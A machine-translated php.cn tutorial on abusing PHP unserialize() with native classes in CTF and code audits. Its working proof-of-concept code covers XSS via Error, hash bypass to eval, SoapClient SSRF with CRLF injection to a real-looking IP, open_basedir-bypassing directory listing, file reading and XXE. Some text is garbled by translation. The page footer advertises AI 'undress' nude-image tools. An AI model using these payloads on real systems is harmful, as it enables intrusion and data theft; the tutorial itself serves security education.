Table des matières
Une brève analyse de l'utilisation des classes natives de désérialisation PHP
1. Méthodes magiques communes
2. Méthodes magiques dans les classes natives
3.
Évidemment normal La méthode ne fonctionnera pas, mais elle peut être contournée via les classes nativesDe même, lorsque les fonctions md5() et sha1() traitent des objets, la méthode __tostring sera automatiquement appelée
DirectoryIterator/FilesystemIterator
目录遍历
SplFileObject
文件读取
SimpleXMLElement
XXE
ReflectionMethod
获取注释内容
Maison développement back-end tutoriel php Compréhension approfondie de PHP désérialisant les classes natives

Compréhension approfondie de PHP désérialisant les classes natives

May 17, 2022 am 11:56 AM
php

Cet article vous apporte des connaissances pertinentes sur PHP, qui introduit principalement l'utilisation de classes natives désérialisées. S'il existe une fonction de désérialisation dans l'audit de code ou ctf, mais qu'elle ne peut pas être construite. Si une chaîne pop complète est créée, alors comment devrait-elle le faire. nous brisons la situation ? Jetons-y un coup d'oeil. J'espère que cela sera utile à tout le monde.

Compréhension approfondie de PHP désérialisant les classes natives

Étude recommandée : "Tutoriel vidéo PHP"

Une brève analyse de l'utilisation des classes natives de désérialisation PHP

S'il y a un point de fonction de désérialisation dans l'audit de code ou ctf, mais qu'il ne peut pas être construit Pop complète chaîne, comment devrions-nous briser la situation en ce moment ? Nous pouvons essayer de commencer avec des classes natives PHP. Certaines classes natives PHP ont des méthodes magiques intégrées. Si nous construisons intelligemment des paramètres contrôlables, déclenchons et utilisons leurs méthodes magiques intégrées, il est possible d'atteindre certains des objectifs que nous souhaitons. .

1. Méthodes magiques communes

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把对象当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
Copier après la connexion

2. Méthodes magiques dans les classes natives

Nous utilisons le script suivant pour parcourir les méthodes magiques dans toutes les classes natives

<?php $classes = get_declared_classes();foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }}
Copier après la connexion

3.

Error/Exception

Error est la classe de base pour toutes les classes d'erreurs internes de PHP. (PHP 7, 8)

**Error::__toString ** La représentation sous forme de chaîne de l'erreur

Renvoie la représentation sous forme de chaîne de l'erreur.

Exception est la classe de base pour toutes les exceptions au niveau utilisateur. (PHP 5, 7, 8)

**Exception ::__toString ** Convertit l'objet d'exception en chaîne

Renvoie l'exception convertie en type chaîne (string). "Attribut de classe"

XSS

Le

__toString La méthode renverra une erreur ou une exception sous la forme d'une chaîne, qui contient les paramètres que nous avons saisis. Si nous construisons une chaîne de code XSS et la combinons avec un rendu d'écho, la vulnérabilité XSS réfléchie sera déclenchée

Exemple :
    <?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;
    Copier après la connexion
  • POC :

    <?php $a = new Error("<script>alert('xss')");$b = serialize($a);echo urlencode($b);
    Copier après la connexion
  • hash bypass
  • Regardons d'abord une question

  • [2020 Geek Challenge] Greatphp

    <?phperror_reporting (0);class SYCLOVER {
        public $syc;
        public $lover;
        public function __wakeup(){
            if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
               if(!preg_match("/\syc, $match)){
                   eval($this->syc);
               } else {
                   die("Try Hard !!");
               }
    
            }
        }}if (isset($_GET['great'])){
        unserialize($_GET['great']);} else {
        highlight_file(__FILE__);}
    Copier après la connexion
  • Besoin de contourner deux comparaisons de hachage fortes, et doit finalement construire un code d'évaluation pour exécution
    Évidemment normal La méthode ne fonctionnera pas, mais elle peut être contournée via les classes nativesDe même, lorsque les fonctions md5() et sha1() traitent des objets, la méthode __tostring sera automatiquement appelée

    Jetons un bref coup d'œil à sa sortie en premier

    <?php $a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3);
    $d=new Exception("payload",4);
    echo $a."<br>";
    echo $b."<br>";
    echo $c."<br>";
    echo $d;
    Copier après la connexion

    On peut constater que les informations renvoyées par ces deux classes natives sont exactement les mêmes à l'exception du numéro de ligne. En utilisant cela, nous pouvons essayer de contourner la fonction de hachage. les deux objets entrants doivent être placés sur la même ligne

    Compréhension approfondie de PHP désérialisant les classes natives Par conséquent, nous pouvons effectuer un test simple et constater que l'utilisation de cette méthode peut contourner la comparaison de fonctions de hachage forte (faible)

    <?php $a = new Error("payload",1);$b = new Error("payload",2);if ($a!=$b){
        echo &#39;$a不等于$b&#39;."\n";}if (md5($a)===md5($b)){
        echo "md5值相等\n";}if (sha1($a)===sha1($b)){
        echo "sha1值相等";}
    Copier après la connexion
    Selon ces points de connaissance, nous pouvons construire facilement la charge utile

      <?phpclass  SYCLOVER {
    	public $syc;
    	public $lover;
    	public function __wakeup(){
    		if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
    		   if(!preg_match("/\syc, $match)){
    			   eval($this->syc);
    		   } else {
    			   die("Try Hard !!");
    		   }
    		   
    		}
    	}}$str = "?>=include~".urldecode("%D0%99%93%9E%98")."?>";//两次取反绕过正则$a=new Error($str,1);
    	$b=new Error($str,2);
    	$c = new SYCLOVER();$c->syc = $a;$c->lover = $b;
    	echo(urlencode(serialize($c)));?>
    Copier après la connexion
    SoapClient

    SoapClient

    est une classe spécialisée utilisée pour accéder aux services Web peut fournir un client PHP qui accède aux services Web basés sur le protocole SOAP. Elle peut créer des messages de données Soap et interagir avec l'interface wsdl. . Le module d'extension SOAP est fermé par défaut et doit être activé manuellement lors de son utilisation. SoapClient::__call

    — Appeler une fonction SOAP (PHP 5, 7, 8)

    Normalement, une fonction SOAP peut être appelée en tant que fonction SOAP. méthode de l'objet SoapClient

    SSRF

    Constructeur : Compréhension approfondie de PHP désérialisant les classes natives

    public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
    第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。
    第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
    Copier après la connexion
    Qu'est-ce que soap

    SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换
    SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
    其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
    Copier après la connexion
    us Construisez une charge utile d'exploit, le premier paramètre est NULL et l'emplacement du deuxième paramètre est défini sur l'adresse vps

    <?php $a = new SoapClient(null, array(
    &#39;location&#39; => 'http://47.102.146.95:2333', 
    'uri' =>'uri',
    'user_agent'=>'111111'));
    $b = serialize($a);
    echo $b;
    $c = unserialize($b);
    $c->a();
    Copier après la connexion
    Écoutez le port 2333 du vps. Comme le montre la figure ci-dessous, SSRF est déclenché avec succès. Le vps reçoit les informations de la demande

    Compréhension approfondie de PHP désérialisant les classes natives et peut les voir. SOAPAction et user_agent sont contrôlables

    Lors des tests locaux, il a été constaté que lors de l'utilisation de cette classe intégrée (c'est-à-dire le protocole Soap) pour demander un port où un service existe, une erreur sera immédiatement signalée, et lors de l'accès à un port où le service n'existe pas (inoccupé), elle attendra pendant un certain temps pour signaler une erreur, et vous pouvez l'utiliser pour détecter les actifs intranet.

    Si vous coopérez avec la vulnérabilité CRLF, vous pouvez également utiliser SoapClient pour contrôler d'autres paramètres ou envoyer des données par courrier. Par exemple : protocole HTTP pour attaquer Redis

    Expansion des connaissances CRLF

    HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。
    CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。
    攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。
    Copier après la connexion
    En combinant CRLF, nous pouvons utiliser SoapClient+CRLF pour faire plus de choses, comme insérer des cookies personnalisés,

    <?php $a = new SoapClient(null, array(
        &#39;location&#39; => 'http://47.102.146.95:2333',
        'uri' =>'uri',
        'user_agent'=>"111111\r\nCookie: PHPSESSION=dasdasd564d6as4d6a"));
        $b = serialize($a);echo $b;$c = unserialize($b);$c->a();
    Copier après la connexion

    发送POST的数据包,这里需要将Content-Type设置为application/x-www-form-urlencoded,我们可以通过添加两个\r\n来将原来的Content-Type挤下去,自定义一个新的Content-Type

    <?php $a = new SoapClient(null, array(
        &#39;location&#39; => 'http://47.102.146.95:2333',
        'uri' =>'uri',
        'user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata"));
        $b = serialize($a);echo $b;$c = unserialize($b);$c->a();
    Copier après la connexion

    Compréhension approfondie de PHP désérialisant les classes natives

    看一道ctfshow上的题,完美利用上述知识点

    $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    array_pop($xff);
    $ip = array_pop($xff); //获取xff头
    
    
    if($ip!=='127.0.0.1'){
        die('error');
    }else{
        $token = $_POST['token'];
        if($token=='ctfshow'){
            file_put_contents('flag.txt',$flag);
        }
    }
    Copier après la connexion

    poc:

    <?php $target = &#39;http://127.0.0.1/flag.php&#39;;
    $post_string = &#39;token=ctfshow&#39;;
    $b = new SoapClient(null,array(&#39;location&#39; => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
    $a = serialize($b);
    $a = str_replace('^^',"\r\n",$a);
    echo urlencode($a);
    ?>
    Copier après la connexion

    DirectoryIterator/FilesystemIterator

    DirectoryIterator类提供了一个简单的接口来查看文件系统目录的内容。

    DirectoryIterator::__toString 获取字符串形式的文件名 (PHP 5,7,8)

    目录遍历

    使用此内置类的__toString方法结合glob或file协议,即可实现目录遍历

    例如:

    <?php $a = new DirectoryIterator("glob:///*");
    foreach ($a as $b){
        echo $b.&#39;<br>';
    }
    Copier après la connexion

    FilesystemIterator继承于DirectoryIterator,两者作用和用法基本相同,区别为FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名

    Compréhension approfondie de PHP désérialisant les classes natives

    因为可以配合使用glob伪协议(查找匹配的文件路径模式),所以可以绕过open_basedir的限制

    在php4.3以后使用了zend_class_unserialize_deny来禁止一些类的反序列化,很不幸的是这两个原生类都在禁止名单当中

    SplFileObject

    SplFileObject 类为单个文件的信息提供了一个面向对象的高级接口

    (PHP 5 >= 5.1.2, PHP 7, PHP 8)

    文件读取

    SplFileObject::__toString — 以字符串形式返回文件的路径

    <?phphighlight_file (__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){
        echo($a);
    }*/
    Copier après la connexion

    如果没有遍历的话只能读取第一行,且受到open_basedir影响

    SimpleXMLElement

    解析XML 文档中的元素。 (PHP 5、PHP 7、PHP 8)

    SimpleXMLElement::__construct — 创建一个新的 SimpleXMLElement 对象

    XXE

    我们查看一下其参数:

    Compréhension approfondie de PHP désérialisant les classes natives

    根据官方文档,发现当第三个参数为True时,即可实现远程xml文件载入,第二个参数的常量值设置为2即可。

    利用可参考赛题:[SUCTF 2018]Homework

    ReflectionMethod

    获取注释内容

    (PHP 5 >= 5.1.0, PHP 7, PHP 8)

    ReflectionFunctionAbstract::getDocComment — 获取注释内容
    由该原生类中的getDocComment方法可以访问到注释的内容

    Compréhension approfondie de PHP désérialisant les classes natives

    同时可利用的原生类还有ZipArchive– 删除文件等等,不在叙述

    推荐学习:《PHP视频教程

    Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

    Déclaration de ce site Web
    Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

    Outils d'IA chauds

    Undresser.AI Undress

    Undresser.AI Undress

    Application basée sur l'IA pour créer des photos de nu réalistes

    AI Clothes Remover

    AI Clothes Remover

    Outil d'IA en ligne pour supprimer les vêtements des photos.

    Undress AI Tool

    Undress AI Tool

    Images de déshabillage gratuites

    Clothoff.io

    Clothoff.io

    Dissolvant de vêtements AI

    AI Hentai Generator

    AI Hentai Generator

    Générez AI Hentai gratuitement.

    Article chaud

    R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
    3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
    R.E.P.O. Meilleurs paramètres graphiques
    3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
    R.E.P.O. Comment réparer l'audio si vous n'entendez personne
    3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
    WWE 2K25: Comment déverrouiller tout dans Myrise
    4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

    Outils chauds

    Bloc-notes++7.3.1

    Bloc-notes++7.3.1

    Éditeur de code facile à utiliser et gratuit

    SublimeText3 version chinoise

    SublimeText3 version chinoise

    Version chinoise, très simple à utiliser

    Envoyer Studio 13.0.1

    Envoyer Studio 13.0.1

    Puissant environnement de développement intégré PHP

    Dreamweaver CS6

    Dreamweaver CS6

    Outils de développement Web visuel

    SublimeText3 version Mac

    SublimeText3 version Mac

    Logiciel d'édition de code au niveau de Dieu (SublimeText3)

    Guide d'installation et de mise à niveau de PHP 8.4 pour Ubuntu et Debian Guide d'installation et de mise à niveau de PHP 8.4 pour Ubuntu et Debian Dec 24, 2024 pm 04:42 PM

    PHP 8.4 apporte plusieurs nouvelles fonctionnalités, améliorations de sécurité et de performances avec une bonne quantité de dépréciations et de suppressions de fonctionnalités. Ce guide explique comment installer PHP 8.4 ou mettre à niveau vers PHP 8.4 sur Ubuntu, Debian ou leurs dérivés. Bien qu'il soit possible de compiler PHP à partir des sources, son installation à partir d'un référentiel APT comme expliqué ci-dessous est souvent plus rapide et plus sécurisée car ces référentiels fourniront les dernières corrections de bogues et mises à jour de sécurité à l'avenir.

    Date et heure de CakePHP Date et heure de CakePHP Sep 10, 2024 pm 05:27 PM

    Pour travailler avec la date et l'heure dans cakephp4, nous allons utiliser la classe FrozenTime disponible.

    Discuter de CakePHP Discuter de CakePHP Sep 10, 2024 pm 05:28 PM

    CakePHP est un framework open source pour PHP. Il vise à faciliter grandement le développement, le déploiement et la maintenance d'applications. CakePHP est basé sur une architecture de type MVC à la fois puissante et facile à appréhender. Modèles, vues et contrôleurs gu

    Téléchargement de fichiers CakePHP Téléchargement de fichiers CakePHP Sep 10, 2024 pm 05:27 PM

    Pour travailler sur le téléchargement de fichiers, nous allons utiliser l'assistant de formulaire. Voici un exemple de téléchargement de fichiers.

    CakePHP créant des validateurs CakePHP créant des validateurs Sep 10, 2024 pm 05:26 PM

    Le validateur peut être créé en ajoutant les deux lignes suivantes dans le contrôleur.

    Journalisation CakePHP Journalisation CakePHP Sep 10, 2024 pm 05:26 PM

    Se connecter à CakePHP est une tâche très simple. Il vous suffit d'utiliser une seule fonction. Vous pouvez enregistrer les erreurs, les exceptions, les activités des utilisateurs, les actions entreprises par les utilisateurs, pour tout processus en arrière-plan comme cronjob. La journalisation des données dans CakePHP est facile. La fonction log() est fournie

    Comment configurer Visual Studio Code (VS Code) pour le développement PHP Comment configurer Visual Studio Code (VS Code) pour le développement PHP Dec 20, 2024 am 11:31 AM

    Visual Studio Code, également connu sous le nom de VS Code, est un éditeur de code source gratuit – ou environnement de développement intégré (IDE) – disponible pour tous les principaux systèmes d'exploitation. Avec une large collection d'extensions pour de nombreux langages de programmation, VS Code peut être c

    Guide rapide CakePHP Guide rapide CakePHP Sep 10, 2024 pm 05:27 PM

    CakePHP est un framework MVC open source. Cela facilite grandement le développement, le déploiement et la maintenance des applications. CakePHP dispose d'un certain nombre de bibliothèques pour réduire la surcharge des tâches les plus courantes.

    See all articles